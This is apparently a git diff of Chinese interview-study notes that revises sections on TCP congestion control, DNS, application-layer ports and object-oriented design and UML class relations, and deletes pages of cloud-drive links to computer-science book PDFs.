1. 确保最后一个确认报文段能够到达。如果 B 没收到 A 发送来的确认报文段,那么就会重新发送连接释放请求报文段,A 等待一段时间就是为了处理这种情况的发生。
|
||||
|
||||
2. 可能存在“已失效的连接请求报文段”,为了防止这种报文段出现在本次连接之外,需要等待一段时间。
|
||||
2. 等待一段时间是为了让本连接持续时间内所产生的所有报文段都从网络中消失,使得下一个新的连接不会出现旧的连接请求报文段。
|
||||
|
||||
## TCP 滑动窗口
|
||||
|
||||
<div align="center"> <img src="../pics//223fc26e-2fd6-484c-bcb7-443cac134f15.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg" width="800"/> </div><br>
|
||||
|
||||
窗口是缓存的一部分,用来暂时存放字节流。发送方和接收方各有一个窗口,接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小,发送方根据这个值和其它信息设置自己的窗口大小。
|
||||
|
||||
@ -677,30 +679,30 @@ TCP 使用超时重传来实现可靠传输:如果一个已经发送的报文
|
||||
|
||||
流量控制是为了控制发送方发送速率,保证接收方来得及接收。
|
||||
|
||||
接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小,从而影响发送方的发送速率。例如将窗口字段设置为 0,则发送方不能发送数据。
|
||||
接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小,从而影响发送方的发送速率。将窗口字段设置为 0,则发送方不能发送数据。
|
||||
|
||||
## TCP 拥塞控制
|
||||
|
||||
如果网络出现拥塞,分组将会丢失,此时发送方会继续重传,从而导致网络拥塞程度更高。因此当出现拥塞时,应当控制发送方的速率。这一点和流量控制很像,但是出发点不同。流量控制是为了让接收方能来得及接受,而拥塞控制是为了降低整个网络的拥塞程度。
|
||||
|
||||
<div align="center"> <img src="../pics//a69af9bb-b5ad-4896-862d-697e5ee4feb1.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//51e2ed95-65b8-4ae9-8af3-65602d452a25.jpg" width="500"/> </div><br>
|
||||
|
||||
TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、快重传、快恢复。发送方需要维护有一个叫做拥塞窗口(cwnd)的状态变量。注意拥塞窗口与发送方窗口的区别,拥塞窗口只是一个状态变量,实际决定发送方能发送多少数据的是发送方窗口。
|
||||
TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、快重传、快恢复。发送方需要维护一个叫做拥塞窗口(cwnd)的状态变量。注意拥塞窗口与发送方窗口的区别,拥塞窗口只是一个状态变量,实际决定发送方能发送多少数据的是发送方窗口。
|
||||
|
||||
为了便于讨论,做如下假设:
|
||||
|
||||
1. 接收方有足够大的接收缓存,因此不会发生流量控制;
|
||||
2. 虽然 TCP 的窗口基于字节,但是这里设窗口的大小单位为报文段。
|
||||
|
||||
<div align="center"> <img src="../pics//346244ff-98c1-4f12-9a87-d0832e8c04cf.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//910f613f-514f-4534-87dd-9b4699d59d31.png" width="800"/> </div><br>
|
||||
|
||||
### 1. 慢开始与拥塞避免
|
||||
|
||||
发送的最初执行慢开始,令 cwnd=1,发送方只能发送 1 个报文段;当收到确认后,将 cwnd 加倍,因此之后发送方能够发送的报文段为:2、4、8 ...
|
||||
发送的最初执行慢开始,令 cwnd=1,发送方只能发送 1 个报文段;当收到确认后,将 cwnd 加倍,因此之后发送方能够发送的报文段数量为:2、4、8 ...
|
||||
|
||||
注意到慢开始每个轮次都将 cwnd 加倍,这样会让 cwnd 增长速度非常快,从而使得发送方发送的速度增长速度过快,网络拥塞的可能也就更高。设置一个慢开始门限 ssthresh,当 cwnd >= ssthresh 时,进入拥塞避免,每个轮次只将 cwnd 加 1。
|
||||
|
||||
如果出现了超时,则令 ssthresh = cwnd / 2,然后重新执行慢开始。
|
||||
如果出现了超时,则令 ssthresh = cwnd/2,然后重新执行慢开始。
|
||||
|
||||
### 2. 快重传与快恢复
|
||||
|
||||
@ -708,11 +710,11 @@ TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、
|
||||
|
||||
在发送方,如果收到三个重复确认,那么可以确认下一个报文段丢失,例如收到三个 M<sub>2</sub> ,则 M<sub>3</sub> 丢失。此时执行快重传,立即重传下一个报文段。
|
||||
|
||||
在这种情况下,只是丢失个别报文段,而不是网络拥塞,因此执行快恢复,令 ssthresh = cwnd / 2 ,cwnd = ssthresh,注意到此时直接进入拥塞避免。
|
||||
在这种情况下,只是丢失个别报文段,而不是网络拥塞,因此执行快恢复,令 ssthresh = cwnd/2 ,cwnd = ssthresh,注意到此时直接进入拥塞避免。
|
||||
|
||||
<div align="center"> <img src="../pics//b18d679b-c8e2-4564-88ee-7600090e46da.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//f61b5419-c94a-4df1-8d4d-aed9ae8cc6d5.png" width="600"/> </div><br>
|
||||
|
||||
# 六、应用层 *
|
||||
# 六、应用层*
|
||||
|
||||
## 域名系统 DNS
|
||||
|
||||
@ -724,9 +726,9 @@ TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、
|
||||
|
||||
一个域名由多个层次构成,从上层到下层分别为顶级域名、二级域名、三级域名以及四级域名。所有域名可以画成一颗域名树。
|
||||
|
||||
<div align="center"> <img src="../pics//c2117f61-1177-4768-bf33-cf4f950d911c.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//c2117f61-1177-4768-bf33-cf4f950d911c.png" width=""/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//a4b162e5-db2a-4a27-b213-1fe481c5a06a.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//a4b162e5-db2a-4a27-b213-1fe481c5a06a.png" width=""/> </div><br>
|
||||
|
||||
域名服务器可以分为以下四类:
|
||||
|
||||
@ -737,25 +739,29 @@ TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、
|
||||
|
||||
区和域的概念不同,可以在一个域中划分多个区。图 b 在域 abc.com 中划分了两个区:abc.com 和 y.abc.com
|
||||
|
||||
<div align="center"> <img src="../pics//fc0c6b2d-68c7-4de8-aaaa-97355a4f0472.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//fc0c6b2d-68c7-4de8-aaaa-97355a4f0472.jpg" width=""/> </div><br>
|
||||
|
||||
因此就需要两个权限域名服务器:
|
||||
|
||||
<div align="center"> <img src="../pics//8b335d94-c1ca-42e1-ad48-bb179d28a4f1.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//8b335d94-c1ca-42e1-ad48-bb179d28a4f1.jpg" width=""/> </div><br>
|
||||
|
||||
### 2. 解析过程
|
||||
|
||||
主机向本地域名服务器解析的过程采用递归,而本地域名服务器向其它域名服务器解析可以使用递归和迭代两种方式。
|
||||
|
||||
迭代的方式下,本地域名服务器向一个域名服务器解析请求解析之后,结果返回到本地域名服务器,然后本地域名服务器继续向其它域名服务器请求解析;而递归地方式下,结果不是直接返回的,而是继续向前请求解析,最后的结果才会返回。
|
||||
迭代的方式下,本地域名服务器向一个域名服务器解析请求解析之后,结果返回到本地域名服务器,然后本地域名服务器继续向其它域名服务器请求解析;而递归的方式下,结果不是直接返回的,而是继续向前请求解析,最后的结果才会返回。
|
||||
|
||||
<div align="center"> <img src="../pics//6bc61bb8-3b1c-4dc8-ac25-cef925ace0eb.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//e6723b94-1a33-4605-b775-f6813352d383.png" width="800"/> </div><br>
|
||||
|
||||
### 3. 使用的运输层协议
|
||||
|
||||
DNS 在解析的过程使用 UDP 进行传输,因为 UDP 最大只支持 512 字节的数据,如果超过的话就需要使用 TCP 传输。
|
||||
|
||||
## 文件传输协议 FTP
|
||||
|
||||
FTP 在运输层使用 TCP,并且需要建立两个并行的 TCP 连接:控制连接和数据连接。控制连接在整个会话期间一直保持打开,而数据连接在数据传送完毕之后就关闭。控制连接使用端口号 21,数据连接使用端口号 20。
|
||||
|
||||
<div align="center"> <img src="../pics//58633775-8584-4a01-ad3f-eee4d9a466e1.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//30210b86-472d-4574-abb6-b74898cc17a4.jpg" width="700"/> </div><br>
|
||||
|
||||
## 远程终端协议 TELNET
|
||||
|
||||
@ -763,15 +769,11 @@ TELNET 用于登录到远程主机上,并且远程主机上的输出也会返
|
||||
|
||||
TELNET 可以适应许多计算机和操作系统的差异,例如不同操作系统系统的换行符定义。
|
||||
|
||||
## 万维网 WWW
|
||||
|
||||
[HTTP](https://github.com/CyC2018/InterviewNotes/blob/master/notes/HTTP.md)
|
||||
|
||||
## 电子邮件协议
|
||||
|
||||
一个电子邮件系统由三部分组成:用户代理、邮件服务器以及邮件发送协议和读取协议。其中发送协议常用 SMTP,读取协议常用 POP3 和 IMAP。
|
||||
|
||||
<div align="center"> <img src="../pics//de1e46d2-748f-4da3-a29e-7de7bc840366.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//7b3efa99-d306-4982-8cfb-e7153c33aab4.png" width="700"/> </div><br>
|
||||
|
||||
### 1. POP3
|
||||
|
||||
@ -785,7 +787,7 @@ IMAP 协议中客户端和服务器上的邮件保持同步,如果不去手动
|
||||
|
||||
SMTP 只能发送 ASCII 码,而互联网邮件扩充 MIME 可以发送二进制文件。MIME 并没有改动或者取代 SMTP,而是增加邮件主题的结构,定义了非 ASCII 码的编码规则。
|
||||
|
||||
<div align="center"> <img src="../pics//ed5522bb-3a60-481c-8654-43e7195a48fe.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//ed5522bb-3a60-481c-8654-43e7195a48fe.png" width=""/> </div><br>
|
||||
|
||||
## 动态主机配置协议 DHCP
|
||||
|
||||
@ -871,18 +873,25 @@ P2P 是一个分布式系统,任何时候都有对等方加入或者退出。
|
||||
|
||||
## 常用端口
|
||||
|
||||
| 应用层协议 | 端口号 | 运输层协议 |
|
||||
| -- | -- | -- |
|
||||
| DNS | 53 | UDP |
|
||||
| FTP | 控制连接 21,数据连接 20 | TCP |
|
||||
| TELNET | 23 | TCP |
|
||||
| DHCP | 67 68 | UDP |
|
||||
| HTTP | 80 | TCP |
|
||||
| SMTP | 25 | TCP |
|
||||
| POP3 | 110 | TCP |
|
||||
| IMAP | 143 | TCP |
|
||||
|应用| 应用层协议 | 端口号 | 运输层协议 | 备注 |
|
||||
| :---: | :--: | :--: | :--: | :--:
|
||||
| 域名解析 | DNS | 53 | UDP/TCP | 长度超过 512 字节时使用 TCP |
|
||||
| 动态主机配置协议 | DHCP | 67/68 | UDP | |
|
||||
| 简单网络管理协议 | SNMP | 161/162 | UDP | |
|
||||
| 文件传送协议 | FTP | 20/21 | TCP | 控制连接 21,数据连接 20
|
||||
| 远程终端协议 | TELNET | 23 | TCP | |
|
||||
|超文本传送协议 | HTTP | 80 | TCP | |
|
||||
| 简单邮件传送协议 | SMTP | 25 | TCP | |
|
||||
| 邮件读取协议 | POP3 | 110 | TCP | |
|
||||
| 网际报文存取协议 | IMAP | 143 | TCP | |
|
||||
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 计算机网络 第七版
|
||||
- 计算机网络 自顶向下方法
|
||||
- 计算机网络, 谢希仁
|
||||
- JamesF.Kurose, KeithW.Ross, 库罗斯, 等. 计算机网络: 自顶向下方法 [M]. 机械工业出版社, 2014.
|
||||
- [Tackling emissions targets in Tokyo](http://www.climatechangenews.com/2011/html/university-tokyo.html)
|
||||
- [What does my ISP know when I use Tor?](http://www.climatechangenews.com/2011/html/university-tokyo.html)
|
||||
- [Technology-Computer Networking[1]-Computer Networks and the Internet](http://www.linyibin.cn/2017/02/12/technology-ComputerNetworking-Internet/)
|
||||
- [P2P 网络概述.](http://slidesplayer.com/slide/11616167/)
|
||||
- [Circuit Switching (a) Circuit switching. (b) Packet switching.](http://slideplayer.com/slide/5115386/)
|
||||
|
1882
notes/设计模式.md
@ -107,6 +107,7 @@
|
||||
* [10. 塑造模板函数](#10-塑造模板函数)
|
||||
* [11. 以委托取代继承](#11-以委托取代继承)
|
||||
* [12. 以继承取代委托](#12-以继承取代委托)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
@ -1250,3 +1251,7 @@ public Manager(String name, String id, int grade) {
|
||||
你在两个类之间使用委托关系,并经常为整个接口编写许多极简单的委托函数。
|
||||
|
||||
让委托类继承受托类。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- MartinFowler, 福勒, 贝克, 等. 重构: 改善既有代码的设计 [M]. 电子工业出版社, 2011.
|
||||
|
175
notes/面向对象思想.md
@ -6,21 +6,23 @@
|
||||
* [封装](#封装)
|
||||
* [继承](#继承)
|
||||
* [多态](#多态)
|
||||
* [三、UML](#三uml)
|
||||
* [类图](#类图)
|
||||
* [时序图](#时序图)
|
||||
* [三、类图](#三类图)
|
||||
* [泛化关系 (Generalization)](#泛化关系-generalization)
|
||||
* [实现关系 (Realization)](#实现关系-realization)
|
||||
* [聚合关系 (Aggregation)](#聚合关系-aggregation)
|
||||
* [组合关系 (Composition)](#组合关系-composition)
|
||||
* [关联关系 (Association)](#关联关系-association)
|
||||
* [依赖关系 (Dependency)](#依赖关系-dependency)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、设计原则
|
||||
|
||||
设计原则可以帮助我们避免那些糟糕的设计。
|
||||
|
||||
## S.O.L.I.D
|
||||
|
||||
| 简写 | 全拼 | 中文翻译 |
|
||||
| -- | -- | -- |
|
||||
| :--: | :--: | :--: |
|
||||
| SRP | The Single Responsibility Principle | 单一责任原则 |
|
||||
| OCP | The Open Closed Principle | 开放封闭原则 |
|
||||
| LSP | The Liskov Substitution Principle | 里氏替换原则 |
|
||||
@ -55,14 +57,13 @@
|
||||
|
||||
> 不应该强迫客户依赖于它们不用的方法。
|
||||
|
||||
因此使用多个专门的接口比使用单一的总接口总要好。
|
||||
因此使用多个专门的接口比使用单一的总接口要好。
|
||||
|
||||
### 5. 依赖倒置原则
|
||||
|
||||
> 高层模块不应该依赖于低层模块,二者都应该依赖于抽象。
|
||||
> 抽象不应该依赖于细节,细节应该依赖于抽象。
|
||||
> 高层模块不应该依赖于低层模块,二者都应该依赖于抽象;</br>抽象不应该依赖于细节,细节应该依赖于抽象。
|
||||
|
||||
高层模块包含一个应用程序中重要的策略选择和业务模块,如果高层模块依赖于底层模块,那么底层模块的改动就会直接影响到高层模块,从而迫使高层模块也需要改动。
|
||||
高层模块包含一个应用程序中重要的策略选择和业务模块,如果高层模块依赖于低层模块,那么低层模块的改动就会直接影响到高层模块,从而迫使高层模块也需要改动。
|
||||
|
||||
依赖于抽象意味着:
|
||||
|
||||
@ -75,7 +76,7 @@
|
||||
除了上述的经典原则,在实际开发中还有下面这些常见的设计原则。
|
||||
|
||||
| 简写 | 全拼 | 中文翻译 |
|
||||
| -- | -- | -- |
|
||||
| :--: | :--: | :--: |
|
||||
|LOD| The Law of Demeter | 迪米特法则 |
|
||||
|CRP| The Composite Reuse Principle | 合成复用原则 |
|
||||
|CCP| The Common Closure Principle | 共同封闭原则 |
|
||||
@ -84,7 +85,7 @@
|
||||
|
||||
### 1. 迪米特法则
|
||||
|
||||
迪米特法则又叫作最少知道原则(Least Knowledge Principle 简写LKP),就是说一个对象应当对其他对象有尽可能少的了解,不和陌生人说话。
|
||||
迪米特法则又叫作最少知识原则(Least Knowledge Principle,简写 LKP),就是说一个对象应当对其他对象有尽可能少的了解,不和陌生人说话。
|
||||
|
||||
### 2. 合成复用原则
|
||||
|
||||
@ -108,11 +109,13 @@
|
||||
|
||||
利用抽象数据类型将数据和基于数据的操作封装在一起,使其构成一个不可分割的独立实体。数据被保护在抽象数据类型的内部,尽可能地隐藏内部的细节,只保留一些对外接口使之与外部发生联系。用户无需知道对象内部的细节,但可以通过对象对外提供的接口来访问该对象。
|
||||
|
||||
封装有三大好处:
|
||||
优点:
|
||||
|
||||
1. 减少耦合
|
||||
2. 隐藏内部细节,因此内部结构可以自由修改
|
||||
3. 可以对成员进行更精确的控制
|
||||
- 减少耦合:可以独立地开发、测试、优化、使用、理解和修改
|
||||
- 减轻维护的负担:可以更容易被程序员理解,并且在调试的时候可以不影响其他模块
|
||||
- 有效地调节性能:可以通过剖析确定哪些模块影响了系统的性能
|
||||
- 提高软件的可重用性
|
||||
- 减低了构建大型系统的风险:即使整个系统不可用,但是这些独立的模块却有可能是可用的
|
||||
|
||||
以下 Person 类封装 name、gender、age 等属性,外界只能通过 get() 方法获取一个 Person 对象的 name 属性和 gender 属性,而无法获取 age 属性,但是 age 属性可以供 work() 方法使用。
|
||||
|
||||
@ -197,147 +200,47 @@ public class Music {
|
||||
}
|
||||
```
|
||||
|
||||
# 三、UML
|
||||
# 三、类图
|
||||
|
||||
## 类图
|
||||
## 泛化关系 (Generalization)
|
||||
|
||||
### 1. 继承相关
|
||||
用来描述继承关系,在 Java 中使用 extends 关键字。
|
||||
|
||||
继承有两种形式 : 泛化(Generalize)和实现(Realize),表现为 IS-A 关系。
|
||||
<div align="center"> <img src="../pics//5341d726-ffde-4d2a-a000-46597bcc9c5a.png"/> </div><br>
|
||||
|
||||
#### 泛化关系 (Generalize)
|
||||
## 实现关系 (Realization)
|
||||
|
||||
从具体类中继承。
|
||||
用来实现一个接口,在 Java 中使用 implement 关键字。
|
||||
|
||||
<div align="center"> <img src="../pics//29badd92-109f-4f29-abb9-9857f5973928.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//123bdf81-1ef5-48a9-a08c-2db97057b4d2.png"/> </div><br>
|
||||
|
||||
#### 实现关系 (Realize)
|
||||
## 聚合关系 (Aggregation)
|
||||
|
||||
从抽象类或者接口中继承。
|
||||
表示整体由部分组成,但是整体和部分不是强依赖的,整体不存在了部分还是会存在。
|
||||
|
||||
<div align="center"> <img src="../pics//4b16e1d3-3a60-472c-9756-2f31b1c48abe.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//1be8b4b0-cc7a-44d7-9c77-85be37b76f7d.png"/> </div><br>
|
||||
|
||||
### 2. 整体和部分
|
||||
|
||||
#### 聚合关系 (Aggregation)
|
||||
|
||||
表示整体由部分组成,但是整体和部分不是强依赖的,整体不存在了部分还是会存在。以下表示 B 由 A 组成:
|
||||
|
||||
<div align="center"> <img src="../pics//34259bb8-ca3a-4872-8771-9e946782d9c3.png"/> </div><br>
|
||||
|
||||
#### 组合关系 (Composition)
|
||||
## 组合关系 (Composition)
|
||||
|
||||
和聚合不同,组合中整体和部分是强依赖的,整体不存在了部分也不存在了。比如公司和部门,公司没了部门就不存在了。但是公司和员工就属于聚合关系了,因为公司没了员工还在。
|
||||
|
||||
<div align="center"> <img src="../pics//7dda050d-ac35-4f47-9f51-18f18ed6fa9a.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//eb4a7007-d437-4740-865d-672973effe25.png"/> </div><br>
|
||||
|
||||
### 3. 相互联系
|
||||
|
||||
#### 关联关系 (Association)
|
||||
## 关联关系 (Association)
|
||||
|
||||
表示不同类对象之间有关联,这是一种静态关系,与运行过程的状态无关,在最开始就可以确定。因此也可以用 1 对 1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系,一个学校可以有很多学生,但是一个学生只属于一个学校,因此这是一种多对一的关系,在运行开始之前就可以确定。
|
||||
|
||||
<div align="center"> <img src="../pics//4ccd294c-d6b2-421b-839e-d88336ff5fb7.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//518f16f2-a9f7-499a-98e1-f1dbb37b5a9a.png"/> </div><br>
|
||||
|
||||
#### 依赖关系 (Dependency)
|
||||
## 依赖关系 (Dependency)
|
||||
|
||||
和关联关系不同的是 , 依赖关系是在运行过程中起作用的。一般依赖作为类的构造器或者方法的参数传入。双向依赖时一种不好的设计。
|
||||
和关联关系不同的是,依赖关系是在运行过程中起作用的。A 类和 B 类是依赖关系主要有三种形式:
|
||||
|
||||
<div align="center"> <img src="../pics//47ca2614-509f-476e-98fc-50ec9f9d43c0.png"/> </div><br>
|
||||
1. A 类是 B 类中的(某中方法的)局部变量;
|
||||
2. A 类是 B 类方法当中的一个参数;
|
||||
3. A 类向 B 类发送消息,从而影响 B 类发生变化;
|
||||
|
||||
## 时序图
|
||||
|
||||
### 1. 定义
|
||||
|
||||
时序图描述了对象之间传递消息的时间顺序,它用来表示用例的行为顺序。它的主要作用是通过对象间的交互来描述用例(注意是对象),从而寻找类的操作。
|
||||
|
||||
### 2. 赤壁之战时序图
|
||||
|
||||
从虚线从上往下表示时间的推进。
|
||||
|
||||
<div align="center"> <img src="../pics//80c5aff8-fc46-4810-aeaa-215b5c60a003.png"/> </div><br>
|
||||
|
||||
可见,通过时序图可以知道每个类具有以下操作:
|
||||
|
||||
```java
|
||||
publc class 刘备 {
|
||||
public void 应战 ();
|
||||
}
|
||||
|
||||
publc class 孔明 {
|
||||
public void 拟定策略 ();
|
||||
public void 联合孙权 ();
|
||||
private void 借东风火攻 ();
|
||||
}
|
||||
|
||||
public class 关羽 {
|
||||
public void 防守荊州 ();
|
||||
}
|
||||
|
||||
public class 张飞 {
|
||||
public void 防守荆州前线 ();
|
||||
}
|
||||
|
||||
public class 孙权 {
|
||||
public void 领兵相助 ();
|
||||
}
|
||||
```
|
||||
|
||||
### 3. 活动图、时序图之间的关系
|
||||
|
||||
活动图示从用户的角度来描述用例;
|
||||
|
||||
时序图是从计算机的角度(对象间的交互)描述用例。
|
||||
|
||||
### 4. 类图与时序图的关系
|
||||
|
||||
类图描述系统的静态结构,时序图描述系统的动态行为。
|
||||
|
||||
### 5. 时序图的组成
|
||||
|
||||
#### 对象
|
||||
|
||||
有三种表现形式
|
||||
|
||||
<div align="center"> <img src="../pics//25b8adad-2ef6-4f30-9012-c306b4e49897.png"/> </div><br>
|
||||
|
||||
在画图时,应该遵循以下原则:
|
||||
|
||||
1. 把交互频繁的对象尽可能地靠拢。
|
||||
|
||||
2. 把初始化整个交互活动的对象(有时是一个参与者)放置在最左边。
|
||||
|
||||
#### 生命线
|
||||
|
||||
生命线从对象的创建开始到对象销毁时终止
|
||||
|
||||
<div align="center"> <img src="../pics//b7b0eac6-e7ea-4fb6-8bfb-95fec6f235e2.png"/> </div><br>
|
||||
|
||||
#### 消息
|
||||
|
||||
对象之间的交互式通过发送消息来实现的。
|
||||
|
||||
消息有 4 种类型:
|
||||
|
||||
1\. 简单消息,不区分同步异步。
|
||||
|
||||
<div align="center"> <img src="../pics//a13b62da-0fa8-4224-a615-4cadacc08871.png"/> </div><br>
|
||||
|
||||
2\. 同步消息,发送消息之后需要暂停活动来等待回应。
|
||||
|
||||
<div align="center"> <img src="../pics//33821037-dc40-4266-901c-e5b38e618426.png"/> </div><br>
|
||||
|
||||
3\. 异步消息,发送消息之后不需要等待。
|
||||
|
||||
<div align="center"> <img src="../pics//dec6c6cc-1b5f-44ed-b8fd-464fcf849dac.png"/> </div><br>
|
||||
|
||||
4\. 返回消息,可选。
|
||||
|
||||
#### 激活
|
||||
|
||||
生命线上的方框表示激活状态,其它时间处于休眠状态。
|
||||
|
||||
<div align="center"> <img src="../pics//6ab5de9b-1c1e-4118-b2c3-fb6c7ed7de6f.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//c7d4956c-9988-4a10-a704-28fdae7f3d28.png"/> </div><br>
|
||||
|
||||
# 参考资料
|
||||
|
||||
|
@ -1,3 +0,0 @@
|
||||
<div align="center">
|
||||
<img src="alipay.png" alt="" width="225"/>
|
||||
</div>
|
BIN
other/alipay.png
Before Width: | Height: | Size: 55 KiB |
@ -1,45 +0,0 @@
|
||||
|
||||
# 网络
|
||||
|
||||
<a href="https://pan.baidu.com/s/1EXaJbNckzuQMOCyamzjL_Q"> <img src="s3296854.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1oBbA9LOevcJ_reg8y5kOvw"> <img src="s28845534.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1M0AHXqG9sP9Bxne6u0JK8A"> <img src="s27283822.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1y0P-VFlWKdOPW7YB60OWlw"> <img src="s26676928.jpg" width="130"/> </a>
|
||||
|
||||
# 操作系统
|
||||
|
||||
<a href="https://pan.baidu.com/s/1C-MgvslLKd1buwmebti6Qg"> <img src="s1650904.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1Qm2G4rghPorQeH5J9fDHTg"> <img src="s4399937.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1OoyVI90fK1Q9eixzH9jnpQ"> <img src="s4510534.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/12mTkrpLsb7tz11cGn_KZ4w"> <img src="s3895413.jpg" width="130"/> </a>
|
||||
|
||||
# 算法
|
||||
|
||||
<a href="https://pan.baidu.com/s/1Va1R66d13ynmita8nfkRPg"> <img src="s28322244.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1HmGwXvTcHDrQnUAL1wWE3g"> <img src="s7038106.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1SZGUbvKpKOomM-iYxe_GGw"> <img src="s2992671.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/10EoXyW33MnYJUX5YeD5pPg"> <img src="s28313721.jpg" width="130"/> </a>
|
||||
|
||||
# 设计模式
|
||||
|
||||
<a href="https://pan.baidu.com/s/1JOO4M3c6EGB5xHz_-aGtDQ"> <img src="s2686916.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1n41aEgGuRg9hQ-9iwOxc5A"> <img src="s1074361.jpg" width="130"/> </a>
|
||||
|
||||
# 数据库
|
||||
|
||||
<a href="https://pan.baidu.com/s/1xhYsZUi2fugLf9jxSWA0pQ"> <img src="s2359163.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1aXRWznphuiEc4XRXpM1qLA"> <img src="s4141593.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/182JK19-rvbISYAv4aLk7xg"> <img src="s5968156.jpg" width="130"/> </a>
|
||||
|
||||
# Redis
|
||||
|
||||
<a href="https://pan.baidu.com/s/1XovYaApdsVsd97pLCwAvpA"> <img src="s27297117.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1bfbiPjoBEaNUs6qLWVEIJw"> <img src="s28296984.jpg" width="130"/> </a>
|
||||
|
||||
# Java
|
||||
|
||||
<a href="https://pan.baidu.com/s/1iNBkY9ANUcmeSp4VjBGhRQ"> <img src="s27243455.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1zdATX8Qs-RMk6DN7iqECYw"> <img src="s27458236.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1LkPVPrT_3BYFkfxieBkeVw"> <img src="s7663093.jpg" width="130"/> </a>
|
||||
|
||||
# C++
|
||||
|
||||
<a href="https://pan.baidu.com/s/1VhhqN7oVcrv0KhF32CXRLQ"> <img src="s27023182.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1u3-QrdnkHo5ScUK84v7C5w"> <img src="s2996168.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1K6xm3YlV53trCxyGR0j_gQ"> <img src="s4436543.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/10iFqDOHSveJC3VC7dl1vMw"> <img src="s1613283.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1o-hgLJ4XvXAHeFhWAuuiFQ"> <img src="s4647091.jpg" width="130"/> </a>
|
||||
|
||||
# 工具
|
||||
|
||||
<a href="https://pan.baidu.com/s/1zYoS3lB1yCCT-So1YeoRuA"> <img src="s4245786.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1ybA1qvjx4p844Pd8zDlx7Q"> <img src="s2794811.jpg" width="130"/> </a>
|
||||
|
||||
# 编码实践
|
||||
|
||||
<a href="https://pan.baidu.com/s/1H1ilY54BISk7oDaKYpcrwA"> <img src="s1495029.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1pWGwRRVxtpSmlsK7B1uU7Q"> <img src="s4157180.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1HGHeahqtscz7iczhK7ps-Q"> <img src="s1671095.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/14uxNIdeXKLOnUJ6LMRndPg"> <img src="s10328621.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/17sIRZxCf_uJMZNnqAHEDkA"> <img src="s11194203.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1MaNeNsoqlTMn2uuT1QrsHQ"> <img src="s1086045.jpg" width="130"/> </a>
|
||||
|
||||
# 科普
|
||||
|
||||
<a href="https://pan.baidu.com/s/1fKo7ntvQUettvjaTQqyCEw"> <img src="s1113106.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1dNFZcBdDhA80-pWT1qcQSg"> <img src="s9114855.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1fII84UPuo8aIxDkOakvUVg"> <img src="s4379914.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1XarJowXrxoBtKdmVCGcm1w"> <img src="s4687321.jpg" width="130"/> </a> <a href="https://pan.baidu.com/s/1s0vhcWxN_36PpZeJoOHrKA"> <img src="s4669554.jpg" width="130"/> </a>
|
||||
|
@ -1,76 +0,0 @@
|
||||
# 关于
|
||||
|
||||
计算机经典书籍 PDF 下载
|
||||
|
||||
# 网络
|
||||
|
||||
- [计算机网络.pdf](https://pan.baidu.com/s/1EXaJbNckzuQMOCyamzjL_Q)
|
||||
- [TCP/IP详解.pdf](https://pan.baidu.com/s/1oBbA9LOevcJ_reg8y5kOvw)
|
||||
- [图解 HTTP.pdf](https://pan.baidu.com/s/1M0AHXqG9sP9Bxne6u0JK8A)
|
||||
- [图解 TCP/IP.pdf](https://pan.baidu.com/s/1y0P-VFlWKdOPW7YB60OWlw)
|
